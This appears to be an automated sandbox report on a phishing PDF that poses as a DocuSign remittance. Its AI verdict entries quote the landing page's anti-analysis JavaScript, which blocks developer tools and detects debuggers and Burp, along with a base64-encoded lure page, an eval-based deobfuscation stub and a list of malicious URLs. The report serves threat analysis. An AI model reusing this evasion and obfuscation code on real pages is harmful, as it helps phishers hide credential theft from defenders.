104.19.175.188	forms-na1.hsforms.com	United States	13335	CLOUDFLARENETUS	false
151.101.130.137	unknown	United States	54113	FASTLYUS	false
104.16.118.116	track.hubspot.com	United States	13335	CLOUDFLARENETUS	false
104.18.40.240	js.hs-banner.com	United States	13335	CLOUDFLARENETUS	false
104.16.107.254	forms.hscollectedforms.net	United States	13335	CLOUDFLARENETUS	false
172.64.147.16	unknown	United States	13335	CLOUDFLARENETUS	false
104.16.160.168	js.hs-analytics.net	United States	13335	CLOUDFLARENETUS	false
104.17.174.91	static.hsappstatic.net	United States	13335	CLOUDFLARENETUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
104.18.140.17	unknown	United States	13335	CLOUDFLARENETUS	false
104.18.80.204	forms.hsforms.com	United States	13335	CLOUDFLARENETUS	false
104.16.140.209	js.hs-scripts.com	United States	13335	CLOUDFLARENETUS	false
104.18.138.17	js.hsleadflows.net	United States	13335	CLOUDFLARENETUS	false
104.21.32.1	5qwo.oventera.ru	United States	13335	CLOUDFLARENETUS	true
104.16.108.254	unknown	United States	13335	CLOUDFLARENETUS	false
216.58.206.65	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
104.18.141.119	js.hsforms.net	United States	13335	CLOUDFLARENETUS	false
151.101.2.137	code.jquery.com	United States	54113	FASTLYUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
104.16.109.254	unknown	United States	13335	CLOUDFLARENETUS	false
104.17.173.91	unknown	United States	13335	CLOUDFLARENETUS	false
104.18.41.124	48528028.fs1.hubspotusercontent-na1.net	United States	13335	CLOUDFLARENETUS	false
142.250.186.100	www.google.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.5

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587469
Start date and time:	2025-01-10 12:03:05 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 55s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowspdfcookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	AP_FTT_GENERAL FUND_Email_AmityRegionaltNo5 - 1009684_315100_N.pdf
Detection:	MAL
Classification:	mal68.phis.winPDF@39/94@80/24
Cookbook Comments:	Found application associated with file extension: .pdf Found PDF document Close Viewer

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, WmiPrvSE.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 3.233.129.217, 52.22.41.97, 3.219.243.226, 52.6.155.20, 162.159.61.3, 172.64.41.3, 199.232.214.172, 192.229.221.95, 23.209.209.135, 2.16.168.107, 2.16.168.105, 142.250.185.227, 142.250.185.174, 74.125.206.84, 142.250.186.131, 172.217.18.110, 142.250.186.174, 142.250.186.46, 142.250.186.42, 142.250.186.106, 216.58.212.170, 172.217.18.10, 142.250.185.138, 216.58.206.42, 142.250.186.138, 142.250.185.202, 142.250.186.74, 142.250.185.234, 142.250.185.74, 142.250.181.234, 142.250.185.106, 142.250.186.170, 216.58.212.138, 142.250.184.202, 142.250.185.110, 172.217.16.206, 142.250.184.206, 142.250.184.227, 216.58.212.142, 142.250.186.110, 142.250.184.234, 216.58.206.74, 172.217.16.202, 142.250.185.170, 4.175.87.197, 2.23.242.162, 13.107.253.45, 104.77.220.172, 23.1.237.91
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, clientservices.googleapis.com, acroipm2.adobe.com, clients2.google.com, ocsp.digicert.com, redirector.gvt1.com, ssl-delivery.adobe.com.edgekey.net, a122.dscd.akamai.net, update.googleapis.com, crl.root-x1.letsencrypt.org.edgekey.net, optimizationguide-pa.googleapis.com, clients1.google.com, www.bing.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, fonts.gstatic.com, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, edgedl.me.gvt1.com, armmf.adobe.com, clients.l.google.com, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
06:04:19	API Interceptor	1x Sleep call for process: AcroCEF.exe modified

LLM Input / Output

Input	Output
URL: https://5qwo.oventera.ru/1OSoK/?submissionGuid=372... Model: Joe Sandbox AI	{ "risk_score": 9, "reasoning": "This script demonstrates several high-risk behaviors, including detecting the presence of web automation tools, disabling common browser debugging and developer tools, and redirecting the user to a suspicious domain (Google login page) after a delay. These behaviors are highly indicative of malicious intent, such as attempting to bypass security measures and potentially steal user credentials." }
if (navigator.webdriver \|\| window.callPhantom \|\| window._phantom \|\| navigator.userAgent.includes("Burp")) { window.location = "about:blank"; } document.addEventListener('keydown', function(event) { if (event.keyCode === 123) { event.preventDefault(); return false; } if ( (event.ctrlKey && event.keyCode === 85) \|\| (event.ctrlKey && event.shiftKey && event.keyCode === 73) \|\| (event.ctrlKey && event.shiftKey && event.keyCode === 67) \|\| (event.ctrlKey && event.shiftKey && event.keyCode === 74) \|\| (event.ctrlKey && event.shiftKey && event.keyCode === 75) \|\| (event.ctrlKey && event.keyCode === 72) \|\| (event.metaKey && event.altKey && event.keyCode === 73) \|\| (event.metaKey && event.altKey && event.keyCode === 67) \|\| (event.metaKey && event.keyCode === 85) ) { event.preventDefault(); return false; } }); document.addEventListener('contextmenu', function(event) { event.preventDefault(); return false; }); QmwgOSbZNp = false; (function DVpmPgOyyp() { let TrJBIuipnu = false; const gMEQvYusJd = 100; setInterval(function() { const vcamNEyjXL = performance.now(); debugger; const dQHjGKzqvr = performance.now(); if (dQHjGKzqvr - vcamNEyjXL > gMEQvYusJd && !TrJBIuipnu) { QmwgOSbZNp = true; TrJBIuipnu = true; window.location.replace('https://accounts.google.com/'); } }, 100); })();
URL: https://hsforms.com Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": true, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://hsforms.com
URL: https://5qwo.oventera.ru/1OSoK/?submissionGuid=372... Model: Joe Sandbox AI	{ "risk_score": 7, "reasoning": "The provided JavaScript snippet contains several high-risk indicators, including dynamic code execution, data exfiltration, and obfuscated code/URLs. While the script appears to have some legitimate functionality, such as loading jQuery and setting up a CAPTCHA-like interface, the presence of these malicious behaviors raises significant concerns. Further investigation is warranted to determine the true intent and potential impact of this script." }
if(atob("aHR0cHM6Ly9YRzkub3ZlbnRlcmEucnUvMU9Tb0sv") == "nomatch"){ document.write(decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJlbiI+DQo8aGVhZD4NCiAgICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jb2RlLmpxdWVyeS5jb20vanF1ZXJ5LTMuNi4wLm1pbi5qcyI+PC9zY3JpcHQ+DQogICAgPG1ldGEgaHR0cC1lcXVpdj0iWC1VQS1Db21wYXRpYmxlIiBjb250ZW50PSJJRT1FZGdlLGNocm9tZT0xIj4NCiAgICA8bWV0YSBuYW1lPSJyb2JvdHMiIGNvbnRlbnQ9Im5vaW5kZXgsIG5vZm9sbG93Ij4NCiAgICA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEuMCI+DQogICAgPHRpdGxlPiYjODIwMzs8L3RpdGxlPg0KPHN0eWxlPg0KYm9keSwgaHRtbCB7DQptYXJnaW46IDA7DQpwYWRkaW5nOiAwOw0KaGVpZ2h0OiAxMDAlOw0Kb3ZlcmZsb3c6IGhpZGRlbjsNCn0NCg0KLmJhY2tncm91bmQtY29udGFpbmVyIHsNCiAgICBwb3NpdGlvbjogcmVsYXRpdmU7DQogICAgaGVpZ2h0OiAxMDAlOw0KICAgIHdpZHRoOiAxMDAlOw0KfQ0KLmJhY2tncm91bmQtY29udGFpbmVyOjpiZWZvcmUgew0KICAgIGNvbnRlbnQ6ICIiOw0KICAgIHBvc2l0aW9uOiBhYnNvbHV0ZTsNCiAgICB0b3A6IDA7DQogICAgbGVmdDogMDsNCiAgICByaWdodDogMDsNCmJvdHRvbTogMDsNCmJhY2tncm91bmQtaW1hZ2U6IHVybCgiaHR0cHM6Ly9ibG9nZ2VyLmdvb2dsZXVzZXJjb250ZW50LmNvbS9pbWcvYi9SMjl2WjJ4bC9BVnZYc0VnZHJoWTZ6TTd0eEVmNjFuUE82N19DbDdyT3lDR3N5RWI5R2FJRXFlM00tcC15TjJuSmVCVUdDWGtEeWdLN3Q4eFlWY0t3U2d1NHYwX3U2RVpGNXNyVWgxNnAwdk5sMUs4aEJlQlY4ZGctS2NPcHQ3eTh2cmthbU1PVTJIeFcwU1RwMEpERXAyMUZXdUNXeERYWlgwRXR4b0xQU0JXUjZXd2hYWmdsWEl2V1hiaDI0b2p1eW9mRDZodFk4RDQvczMzOTYvdXNlcmludGVyLnBuZyIpOw0KICAgIGJhY2tncm91bmQtc2l6ZTogY292ZXI7DQogICAgYmFja2dyb3VuZC1wb3NpdGlvbjogY2VudGVyOw0KICAgIGZpbHRlcjogYmx1cigxNHB4KTsNCiAgICB6LWluZGV4OiAtMTsNCn0NCi5jb250ZW50IHsNCiAgICBwb3NpdGlvbjogcmVsYXRpdmU7DQogICAgei1pbmRleDogMTsNCiAgICBkaXNwbGF5OiBmbGV4Ow0KICAgIGp1c3RpZnktY29udGVudDogY2VudGVyOw0KICAgIGFsaWduLWl0ZW1zOiBjZW50ZXI7DQogICAgaGVpZ2h0OiAxMDAlOw0KICAgIGNvbG9yOiB3aGl0ZTsNCiAgICBmb250LXNpemU6IDI0cHg7DQogICAgdGV4dC1hbGlnbjogY2VudGVyOw0KfQ0KLmNhcHRjaGEtYm94IHsNCiAgICBkaXNwbGF5OiBmbGV4Ow0KICAgIGZsZXgtZGlyZWN0aW9uOiBjb2x1bW47DQogICAgYWxpZ24taXRlbXM6IGNlbnRlcjsNCiAgICBqdXN0aWZ5LWNvbnRlbnQ6IHNwYWNlLWJldHdlZW47DQogICAgYm9yZGVyOiAxcHggc29saWQgI2QzZDNkMzsNCiAgICBwYWRkaW5nOiAxMHB4Ow0KICAgIHdpZHRoOiAzMDBweDsNCiAgICBtYXJnaW46IDIwcHggYXV0bzsNCiAgICBib3JkZXItcmFkaXVzOiA0cHg7DQogICAgYm94LXNoYWRvdzogMHB4IDJweCA0cHggcmdiYSgwLCAwLCAwLCAwLjIpOw0KICAgIHBvc2l0aW9uOiByZWxhdGl2ZTsNCn0NCg0KLmNhcHRjaGEtY2hlY2tib3ggew0KICAgIGRpc3BsYXk6IGZsZXg7DQogICAgYWxpZ24taXRlbXM6IGNlbnRlcjsNCiAgICBwb3NpdGlvbjogcmVsYXRpdmU7DQp9DQoNCi5jYXB0Y2hhLWNoZWNrYm94IGlucHV0W3R5cGU9ImNoZWNrYm94Il0gew0KICAgIGRpc3BsYXk6IG5vbmU7DQp9DQoNCi5jYXB0Y2hhLWNoZWNrYm94IGxhYmVsIHsNCiAgICBkaXNwbGF5OiBmbGV4Ow0KICAgIGFsaWduLWl0ZW1zOiBjZW50ZXI7DQogICAgY3Vyc29yOiBwb2ludGVyOw0KfQ0KDQouY2FwdGNoYS1jaGVja21hcmsgew0KICAgIHdpZHRoOiAyMHB4Ow0KICAgIGhlaWdodDogMjBweDsNCiAgICBib3JkZXI6IDJweCBzb2xpZCAjZDNkM2QzOw0KICAgIGJvcmRlci1yYWRpdXM6IDNweDsNCiAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjZmZmOw0KICAgIG1hcmdpbi1yaWdodDogMTBweDsNCiAgICBwb3NpdGlvbjogcmVsYXRpdmU7DQp9DQoNCi5jYXB0Y2hhLWNoZWNrYm94IGlucHV0W3R5cGU9ImNoZWNrYm94Il06Y2hlY2tlZCArIGxhYmVsIC5jYXB0Y2hhLWNoZWNrbWFyazo6YWZ0ZXIgew0KICAgIGNvbnRlbnQ6ICIiOw0KICAgIHBvc2l0aW9uOiBhYnNvbHV0ZTsNCiAgICBsZWZ0OiA1cHg7DQogICAgdG9wOiAxcHg7DQogICAgd2lkdGg6IDZweDsNCiAgICBoZWlnaHQ6IDEycHg7DQogICAgYm9yZGVyOiBzb2xpZCAjNGNhZjUwOw0KICAgIGJvcmRlci13aWR0aDogMCAzcHggM3B4IDA7DQogICAgdHJhbnNmb3JtOiByb3RhdGUoNDVkZWcpOw0KfQ0KDQouY2FwdGNoYS10ZXh0IHsNCiAgICBmb250LWZhbWlseTogQXJpYWwsIHNhbnMtc2VyaWY7DQogICAgZm9udC1zaXplOiAxNHB4Ow0KICAgIGNvbG9yOiAjMzMzOw0KfQ0KDQouY2FwdGNoYS1sb2dvIGltZyB7DQogICAgaGVpZ2h0OiA0OHB4Ow0KfQ0KDQouY2FwdGNoYS1sb2FkZXIgew0KIGJhY2tncm91bmQtY29sb3I6I2Y5ZjlmOTsNCiBib3JkZXI6NnB4IHNvbGlkICM0ZDkwZmU7DQogYm9yZGVyLXJhZGl1czozNnB4Ow0KIGJvcmRlci1ib3R0b20tY29sb3I6dHJhbnNwYXJlbnQ7DQogYm9yZGVyLXJpZ2h0LWNvbG9yOnRyYW5zcGFyZW50Ow0KIGhlaWdodDozNnB4Ow0KIG91dGxpbmU6MDsNCiBwb3NpdGlvbjphYnNvbHV0ZTsNCiByaWdodDogMjI1cHg7DQogd2lkdGg6MzZweDsNCiBib3gtc2l6aW5nOmJvcmRlci1ib3g7DQogYW5pbWF0aW9uOiBzcGluIGxpbmVhciAxcyBpbmZpbml0ZTsNCiBkaXNwbGF5OiBub25lOw0KDQp9DQoNCkBrZXlmcmFtZXMgc3BpbiB7DQogICAgMCUgeyB0cmFuc2Zvcm06IHJvdGF0ZSgwZGVnKTsgfQ0KICAgIDEwMCUgeyB0cmFuc2Zvcm06IHJvdGF0
URL: https://5qwo.oventera.ru/1OSoK/?submissionGuid=372... Model: Joe Sandbox AI	{ "risk_score": 10, "reasoning": "This JavaScript snippet exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and obfuscated code. The use of a Proxy object to wrap the entire code and the presence of heavily encoded strings are clear indicators of malicious intent. This script poses a significant security risk and should be treated with the utmost caution." }
new Proxy({},{get:(_,n)=>eval([...n].map(n=>+("">n)).join``.replace(/.{8}/g,n=>String.fromCharCode(+("0b"+n))))}).
URL: PDF document Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "VIEW COMPLETED DOCUMENT", "prominent_button_name": "VIEW COMPLETED DOCUMENT", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://share.hsforms.com/1iP-GWQvvT0CvU3TDKoL6Swsw4gs Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Completed via docusign : Recurring ACH_ Remittance confirmation.pdf", "prominent_button_name": "VIEW DOCUMENT", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: PDF document Model: Joe Sandbox AI	{ "brands": [ "Docusign" ] }
	{ "brands": [ "Docusign" ] }
URL: https://share.hsforms.com/1iP-GWQvvT0CvU3TDKoL6Swsw4gs Model: Joe Sandbox AI	{ "brands": [ "Docusign" ] }
	{ "brands": [ "Docusign" ] }
URL: https://5qwo.oventera.ru/1OSoK/?submissionGuid=372d032d-1b42-4dac-bf17-76c0861584fb Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "Click to accept", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://5qwo.oventera.ru/1OSoK/?submissionGuid=372d032d-1b42-4dac-bf17-76c0861584fb Model: Joe Sandbox AI	{ "brands": [ "Google" ] }
	{ "brands": [ "Google" ] }

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.16.118.116	https://www.tremendous.com/email/activate/yE_yBdRtyVv4Xqgg7hu_	Get hash	malicious	Unknown	Browse
	https://laserglow-technologies-industrial-48815730.hubspotpagebuilder.com/laserglow	Get hash	malicious	HTMLPhisher	Browse
	https://url12.mailanyone.net/scanner?m=1tUshS-0000000041D-2l2S&d=4%7Cmail%2F90%2F1736191200%2F1tUshS-0000000041D-2l2S%7Cin12g%7C57e1b682%7C21208867%7C12850088%7C677C2DBECB224D1EED07A26760DE755E&o=%2Fphtp%3A%2Fjtssamcce.ehst.uruirrevam.ctstro%2Fe%3D%2F%3Fixprceetmeat%3Dmn%26aeileplttm%26920%3D09s1-oFmyiSNtMTnafi%25iosctgp40norajmcm.c8p%3D5o%26991dd-86e2ee-4a-9879e6-de5f1dd.%232e.%3D302vp%3D0%26%25ttsdhF23Ap%252a%25Fuii.ctr.vro2omastr%25Fi2ge2ap%25%25FelFp%25cisoie52F21d9c876-89-4e9dd8-9d-d6ea215f22e%25eeFtFde%252maadata%3Da%26kdtuK8rJIg9jKP6GiBXfDGI7Fp%25Lddn2sRxJdhuPpjWD3%25ICb37&s=3NJIrjRA01UUg3P9bWqXPHrWXdk	Get hash	malicious	Unknown	Browse
	https://link.edgepilot.com/s/692fcd16/rcPy0yXyykq_mRLKroUvRQ?u=https://petroleumalliance.us8.list-manage.com/track/click?u=325f73d29a0b4f85a46b700a9%26id=dfe369da82%26e=94c2db4428	Get hash	malicious	Unknown	Browse
	https://share.hsforms.com/1Wcb3a5ziS0yUfGwanfFbLgsw4gs	Get hash	malicious	Unknown	Browse
	https://u43161309.ct.sendgrid.net/ls/click?upn=u001.L9-2FCbhkaoUACh7As3yZ8i4iABGphfl-2FJgS6Xiu1aw6I-3DgXpA_qO4VbBWAKg4gLfGs-2BfuSyZki3gKzG4I1DrYN15Q8fD7JV1twLeLo1AFs1GBSG3ZgA22dFJdXJloKc56aXDeV3olJKTBJd8NprednZ2LeXdX-2BkcSQE-2F2FRwgBng5RbUCLfjS8-2FI3mrpwyYu9lRatIB62qUwPSax-2Fhh2c7R-2B7pT3Kos0wK0SEJGj4ZMkgOGYhEniKYT7Kn7jN25xFz2sFdtPlVQkIdCFKwDNWmq-2BrAxerZE2GuKgfkuf3l1UY4J42sOOltybAAVyLhV-2BXfmbuQpN4NpshXRIuhta8ho3ChcTA5NtgjludQThyLtwhGns-2ByLqSbpO1Bhhc-2FCgdgP-2BAOxYrGHvKHjVYRr6-2BiryADxfM-3D	Get hash	malicious	HTMLPhisher	Browse
	Remittance details.docx	Get hash	malicious	Unknown	Browse
	https://czfc104.na1.hubspotlinks.com/Ctc/RI+113/cZFc104/VVpBhY3Y-LTWW3Cvl9B8hKRPtVVm64t5qdmRWN1f4_WP7mt9FW50l5tj6lZ3lNW8SvDYK4v65T-W5VNxKh8dLcmKW1GlXcL834zD3W5w7v_71CDbKVV4Dsjr5FnQ2PVSHlbR3pc5MwW72kzKm6WrbY7W6NJh0_7GRxDMW2K2WDT2ZPr4xW3b_gtn2bnp5xW7Hn0F58SN9mqN4_D9_QrtgD8VBy-hV2j1qrbW3N54fh8gXkqCW6JcyP11p5DmRW6d2nj72MkQXgW6hgqJx7Gc_ycW5DT-Pm451FQhW4Tph0s8GNtc-W58sq8G9dpW27W5S3wzf7rNLv_Vn6h606T2B8YN4yb6VRDg_G5W36Gvt_2lnk9qW2LykX37R4KRSW1F2tHT3jrLyjW7hSkG572MN4TW75KrBz5T-zFkVLJYW27hKs9nW3h3Pmh907wxLW2Zzdnn98hQC7W2Qnk7D31ZBJjW83tNvQ2nNht5W1HJvHm95P722W55gfDx9lT1vDW1ykGr_219m_RW5ff63S7MhCcQW4_QfK_5TQdprVlF4dm2DH-ctW6mF-BW36YwwNW99r61n6mmMhVW2v1J7Q5mVXz2W53lcRT6L4fsVN8gyZcXY0MfLW2kLwLd1TYk1wW7MzDQt4QNh6nW1bMMpS84VG-SW6F_Tym5bK06Qf6rQzB604	Get hash	malicious	Unknown	Browse
	https://u46509964.ct.sendgrid.net/ls/click?upn=u001.16O0hg1-2FLz1kpPxGHUZbqTUnkidniSFIXbuQ0K27NKGR5E4qQP4y3-2BK2LCxUfHTmD8VAoWu9fqrv96heRY-2BDaw-3D-3DTW9l_kcz-2FW2m7wWBC5iX2nmYizXpnEWoSr8Rc5lqOd2Tm8BrX2ha7XCwhAEdfUnTDQdcFlDoClQCenTHrYqYGrvROsmQGK19xExQ3O8UU0JUBZANb3FsycXG0lXfAeU6Ge3kEKNmMydUTpk2mvytxKM8NWM4-2BCe9md9gsZjY-2FmreGd712h4QJlOUlhQy19VQuOzLTR0hg5YGbygTAwGERJ0n3IsJQDuwHOGcAqA18p5ElbhIowXEJo1-2FUNhaAkl3hll56dS6aJMfJ2Cg7jctNhsypZwMqKm18nIQwqxy0HjDjPtDlRcWFBii-2BIabVdhAMwhtvbY-2BhH45kGHgqL1VbALLhTExLjDfFJ4Mdg1hbx5shtVSm69xnT8S0os3NwgUPcP6MZcGvFpVYjCIpNJRmEhnpApXmFzR0GdBotdIKDeKv3ZVh61As-2FSNo3vfT6a-2F1G6CSiTaxzhsqh2H-2BbaxKc9CNbAVT-2BT7dLfv3mwuz99sF3ZWYAQVhK-2FC3sPsTl5X4hdzGiFwatwFf8YUFBISMNX22jwRHFRxLR66dQgVtYo7IumZ-2FOZfPJ2G3u57Las-2FXsx3SO8XE1W1y4QspPQeH1YjVMsZnAeeR8w-2FvWRwY1A7qeifyIBD1fUq-2B4bmZYMnqZ3q5oEXMCBqA-2Fhiv6OawVXsyA5vOFgFJ9F0GjgBX8N-2FlVTcBHanqEGbxSYzxEvDD4r3DBgXj6FxUKNaXGPhd18AzzCXeX88LcJxWAPd-2Fv7JiB88FpQ5kwb7TyWiLLfMzbetfGykMOctbu8W3BbDsIyadCguknOKT9sBLCEKiPAam3h8kh-2BsXXxkR2EvqCeFfErZ3PwKa1SVHAEbQojZZV7jqlLyJR8KYd7Ob5ZMYMENFHn0kgSi7eB-2FawHwHTrEhLDYX-2BOWrkMOQimBc4NTUUy5DbdiVfhlyh7bL6srP-2ByInzpsE8pygdal5s3pCDu8-2F94-2B1f3C1MQ9-2FkWFJVilN3Xiglg-3D-3D	Get hash	malicious	Unknown	Browse
	https://share.hsforms.com/1IRrYqkWKQoiBbzgMszUPYQsxda8	Get hash	malicious	Unknown	Browse
104.18.40.240	https://laserglow-technologies-industrial-48815730.hubspotpagebuilder.com/laserglow	Get hash	malicious	HTMLPhisher	Browse
	https://link.edgepilot.com/s/692fcd16/rcPy0yXyykq_mRLKroUvRQ?u=https://petroleumalliance.us8.list-manage.com/track/click?u=325f73d29a0b4f85a46b700a9%26id=dfe369da82%26e=94c2db4428	Get hash	malicious	Unknown	Browse
	https://share.hsforms.com/1Wcb3a5ziS0yUfGwanfFbLgsw4gs	Get hash	malicious	Unknown	Browse
	Remittance details.docx	Get hash	malicious	Unknown	Browse
	Remittance details.docx	Get hash	malicious	Unknown	Browse
	https://czfc104.na1.hubspotlinks.com/Ctc/RI+113/cZFc104/VVpBhY3Y-LTWW3Cvl9B8hKRPtVVm64t5qdmRWN1f4_WP7mt9FW50l5tj6lZ3lNW8SvDYK4v65T-W5VNxKh8dLcmKW1GlXcL834zD3W5w7v_71CDbKVV4Dsjr5FnQ2PVSHlbR3pc5MwW72kzKm6WrbY7W6NJh0_7GRxDMW2K2WDT2ZPr4xW3b_gtn2bnp5xW7Hn0F58SN9mqN4_D9_QrtgD8VBy-hV2j1qrbW3N54fh8gXkqCW6JcyP11p5DmRW6d2nj72MkQXgW6hgqJx7Gc_ycW5DT-Pm451FQhW4Tph0s8GNtc-W58sq8G9dpW27W5S3wzf7rNLv_Vn6h606T2B8YN4yb6VRDg_G5W36Gvt_2lnk9qW2LykX37R4KRSW1F2tHT3jrLyjW7hSkG572MN4TW75KrBz5T-zFkVLJYW27hKs9nW3h3Pmh907wxLW2Zzdnn98hQC7W2Qnk7D31ZBJjW83tNvQ2nNht5W1HJvHm95P722W55gfDx9lT1vDW1ykGr_219m_RW5ff63S7MhCcQW4_QfK_5TQdprVlF4dm2DH-ctW6mF-BW36YwwNW99r61n6mmMhVW2v1J7Q5mVXz2W53lcRT6L4fsVN8gyZcXY0MfLW2kLwLd1TYk1wW7MzDQt4QNh6nW1bMMpS84VG-SW6F_Tym5bK06Qf6rQzB604	Get hash	malicious	Unknown	Browse
	https://u46509964.ct.sendgrid.net/ls/click?upn=u001.16O0hg1-2FLz1kpPxGHUZbqTUnkidniSFIXbuQ0K27NKGR5E4qQP4y3-2BK2LCxUfHTmD8VAoWu9fqrv96heRY-2BDaw-3D-3DTW9l_kcz-2FW2m7wWBC5iX2nmYizXpnEWoSr8Rc5lqOd2Tm8BrX2ha7XCwhAEdfUnTDQdcFlDoClQCenTHrYqYGrvROsmQGK19xExQ3O8UU0JUBZANb3FsycXG0lXfAeU6Ge3kEKNmMydUTpk2mvytxKM8NWM4-2BCe9md9gsZjY-2FmreGd712h4QJlOUlhQy19VQuOzLTR0hg5YGbygTAwGERJ0n3IsJQDuwHOGcAqA18p5ElbhIowXEJo1-2FUNhaAkl3hll56dS6aJMfJ2Cg7jctNhsypZwMqKm18nIQwqxy0HjDjPtDlRcWFBii-2BIabVdhAMwhtvbY-2BhH45kGHgqL1VbALLhTExLjDfFJ4Mdg1hbx5shtVSm69xnT8S0os3NwgUPcP6MZcGvFpVYjCIpNJRmEhnpApXmFzR0GdBotdIKDeKv3ZVh61As-2FSNo3vfT6a-2F1G6CSiTaxzhsqh2H-2BbaxKc9CNbAVT-2BT7dLfv3mwuz99sF3ZWYAQVhK-2FC3sPsTl5X4hdzGiFwatwFf8YUFBISMNX22jwRHFRxLR66dQgVtYo7IumZ-2FOZfPJ2G3u57Las-2FXsx3SO8XE1W1y4QspPQeH1YjVMsZnAeeR8w-2FvWRwY1A7qeifyIBD1fUq-2B4bmZYMnqZ3q5oEXMCBqA-2Fhiv6OawVXsyA5vOFgFJ9F0GjgBX8N-2FlVTcBHanqEGbxSYzxEvDD4r3DBgXj6FxUKNaXGPhd18AzzCXeX88LcJxWAPd-2Fv7JiB88FpQ5kwb7TyWiLLfMzbetfGykMOctbu8W3BbDsIyadCguknOKT9sBLCEKiPAam3h8kh-2BsXXxkR2EvqCeFfErZ3PwKa1SVHAEbQojZZV7jqlLyJR8KYd7Ob5ZMYMENFHn0kgSi7eB-2FawHwHTrEhLDYX-2BOWrkMOQimBc4NTUUy5DbdiVfhlyh7bL6srP-2ByInzpsE8pygdal5s3pCDu8-2F94-2B1f3C1MQ9-2FkWFJVilN3Xiglg-3D-3D	Get hash	malicious	Unknown	Browse
	https://share.hsforms.com/1IRrYqkWKQoiBbzgMszUPYQsxda8	Get hash	malicious	Unknown	Browse
	https://www.grapevine.org/join/next-gen-giving-circle-dc	Get hash	malicious	Unknown	Browse
	https://share.hsforms.com/1vdAHNnZFTymOZDp9yYmMSwsx4ph	Get hash	malicious	Unknown	Browse
104.19.175.188	https://www.tremendous.com/email/activate/yE_yBdRtyVv4Xqgg7hu_	Get hash	malicious	Unknown	Browse
	https://url12.mailanyone.net/scanner?m=1tUshS-0000000041D-2l2S&d=4%7Cmail%2F90%2F1736191200%2F1tUshS-0000000041D-2l2S%7Cin12g%7C57e1b682%7C21208867%7C12850088%7C677C2DBECB224D1EED07A26760DE755E&o=%2Fphtp%3A%2Fjtssamcce.ehst.uruirrevam.ctstro%2Fe%3D%2F%3Fixprceetmeat%3Dmn%26aeileplttm%26920%3D09s1-oFmyiSNtMTnafi%25iosctgp40norajmcm.c8p%3D5o%26991dd-86e2ee-4a-9879e6-de5f1dd.%232e.%3D302vp%3D0%26%25ttsdhF23Ap%252a%25Fuii.ctr.vro2omastr%25Fi2ge2ap%25%25FelFp%25cisoie52F21d9c876-89-4e9dd8-9d-d6ea215f22e%25eeFtFde%252maadata%3Da%26kdtuK8rJIg9jKP6GiBXfDGI7Fp%25Lddn2sRxJdhuPpjWD3%25ICb37&s=3NJIrjRA01UUg3P9bWqXPHrWXdk	Get hash	malicious	Unknown	Browse
	https://link.edgepilot.com/s/692fcd16/rcPy0yXyykq_mRLKroUvRQ?u=https://petroleumalliance.us8.list-manage.com/track/click?u=325f73d29a0b4f85a46b700a9%26id=dfe369da82%26e=94c2db4428	Get hash	malicious	Unknown	Browse
	https://share.hsforms.com/1Wcb3a5ziS0yUfGwanfFbLgsw4gs	Get hash	malicious	Unknown	Browse
